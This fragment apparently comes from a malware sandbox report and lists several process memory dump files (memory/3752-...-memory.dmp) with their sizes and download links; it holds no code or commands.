Filesize
10.8MB

Download
memory/3752-58-0x00007FFF9E573000-0x00007FFF9E575000-memory.dmp

Filesize
8KB

Download
memory/3752-6-0x00007FFF9E573000-0x00007FFF9E575000-memory.dmp

Filesize
8KB

Download
memory/3752-59-0x00007FFF9E570000-0x00007FFF9F031000-memory.dmp

Filesize
10.8MB

Download
memory/3752-96-0x00007FFF9E570000-0x00007FFF9F031000-memory.dmp

Filesize
10.8MB

Download